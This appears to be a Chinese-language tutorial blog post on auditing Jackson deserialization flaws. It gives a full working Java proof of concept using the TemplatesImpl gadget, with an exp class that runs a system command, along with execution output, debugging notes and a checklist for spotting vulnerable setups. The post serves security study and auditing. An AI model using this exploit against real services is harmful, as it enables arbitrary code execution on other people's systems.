小白审计JACKSON反序列化漏洞

1. JACKSON漏洞解析

poc代码:main.java

import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

/**
 * Created by Administrator on 2017/6/12.
 */
public class main {

    public static void main(String[] args)  {
        String MASIT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//改成exp存在的绝对路径
        String exp = readClassStr("D:\\workspace\\123\\target\\classes\\exp.class");
        String jsonInput = aposToQuotes("{\"object\":[‘com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl‘,\n" +
                "{\n" +
                "‘transletBytecodes‘:[‘"+exp+"‘],\n" +
                "‘transletName‘:‘p‘,\n" +
                "‘outputProperties‘:{}\n" +
                "}\n" +
                "]\n" +
                "}");
        System.out.printf(jsonInput);
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        User user;
        try {
            user = mapper.readValue(jsonInput, User.class);
            System.out.println(user.getSex());
            System.out.println(user.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static String aposToQuotes(String json){
        return json.replace("‘","\"");
    }

    public static String readClassStr(String cls){
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encode(byteArrayOutputStream.toByteArray());
   }
}

exp.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

/**
 * Created by Administrator on 2017/6/12.
 */
public class exp extends AbstractTranslet {
    public exp(){
        try {
//此处修改成你想要执行的命令,如果需要在控制台上打印出来需要添加相应的接收语句。
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

user.java

import java.io.Serializable;
import java.util.Arrays;
import java.util.InputMismatchException;
import java.util.Objects;

/**
 * Created by Administrator on 2017/6/12.
 */
public class User {
    private Object object;
    public Object getObject() {
        return object;
    }
    public void setObject(Object object) {
        this.object = object;
    }
}

尝试执行:
发现result.txt中存在结果

Windows IP ????

??????????? ???????? 2:

   y????  . . . . . . . . . . . . : y??????
   ????????? DNS ??? . . . . . . . : 

??????????? Npcap Loopback Adapter:

   ????????? DNS ??? . . . . . . . :
   ???????? IPv6 ???. . . . . . . . : fe80::b047:25da:330b:45d4%18
   ??????? IPv4 ???  . . . . . . . : 169.254.69.212
   ????????  . . . . . . . . . . . . : 255.255.0.0
   ??????. . . . . . . . . . . . . : 

??????????? ????????:

   ????????? DNS ??? . . . . . . . :
   ???????? IPv6 ???. . . . . . . . : fe80::fd81:27ba:8b8b:4a72%12
   IPv4 ??? . . . . . . . . . . . . : 10.0.83.198
   ????????  . . . . . . . . . . . . : 255.255.255.0
   ??????. . . . . . . . . . . . . : 10.0.83.1

调试本地代码:
由于Jackson中是通过readValue执行命令,
按F7进入当前函数:

跳过几次赋值,进入到当前函数,发现次函数中存在反序列化的赋值,按F7进行调试

经过多次调试发现,命令在标红处代码执行,并抛出异常

多部调试,F7进入函数代码(SetterlessProperty.java):

代码执行:

2. Jackson反序列化漏洞如何审计

OK,说到这就简单介绍了下,Jackson的反序列化代码运行的过程,那么现在代码审计中如何审计的出来项目是否包含Jackson反序列化呢?

第一步:看版本,如果Jackson的版本号不在存在漏洞的版本列表中,肯定不会有此漏洞,

版本列表:

Jackson 2.7版本(<2.7.10)

Jackson 2.8版本(<2.8.9)

第二步:你的Bean类中是否包含object类型的变量:

例如,我这边的User类中的Object变量定义为:private Object object

第三步:Jackson的ObjectMapper必须调用enableDefaultTyping:

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

满足以上三个要求,才能进行构造POC进行校验。

时间: 2024-10-01 02:44:43

小白审计JACKSON反序列化漏洞的相关文章

php反序列化漏洞复现

超适合小白的php反序列化漏洞复现 写在前头的话 在OWASP TOP10中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下.我觉得学习的时候,所有的问题都应该问3个问题:what.why.how.what:什么是反序列化,why:为什么会出现反序列化漏洞,how:反序列化漏洞如何利用. 在这里我对反序列化的原理不做详细介绍,大家可以自行到网上搜索.在这里我只叙述自己的复现过程,超简单的好不. 实验环境 Windows 10+phpstudy 2016 实验步骤 测试

php代码审计9审计反序列化漏洞

序列化与反序列化:序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化 漏洞成因:反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根据不同的代码可以导致各种攻击,如代码注入,sql注入,目录遍历等等 序列化的不同结果public:private:protect: 漏洞本质:unserialize函数的变量可控,php文件中存在可利用的类,类中有魔术方法 魔术方法:_construc(),_destruct()_call(),_c

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

Java反序列化漏洞分析

相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 http://www.tuicool.com/articles/ZvMbIne http://www.freebuf.com/vuls/86566.html http://sec.chinabyte.com/435/13618435.shtml http://www.myhack58.com/Articl

CVE-2017-12149JBoss 反序列化漏洞利用

CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码.漏洞危害程度为高危(High). 影响范围 漏洞影响5.x和6.x版本的JBOSSAS. 漏洞原理 JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器. JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用. Java序列化:把Java

ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加方便.序列化是将对象转换为字符串以便存储传输的一种方式.而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用.在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize().反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控

Natas33 Writeup(Phar反序列化漏洞)

Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla class Executor{ private $filename=""; //三个私有参数 private $signature='adeafbadbabec0dedabada55ba55d00d'; private $init=False; function __construct(){

(单例设计模式之一)饿汉式的反射与反序列化漏洞

1.闲话少说,直接上代码. import java.io.Serializable;//饿汉式public class Singleton01 implements Serializable{    //1.私有的属性    private static Singleton01 instance=new Singleton01();    //2.私有的构造器    private Singleton01(){}    //3.共有的get()方法    public static  Singl

php反序列化漏洞绕过魔术方法 __wakeup

0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等  函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() 1 <?php 2 $test1 = "hello world"; 3 $test2 = array("hello"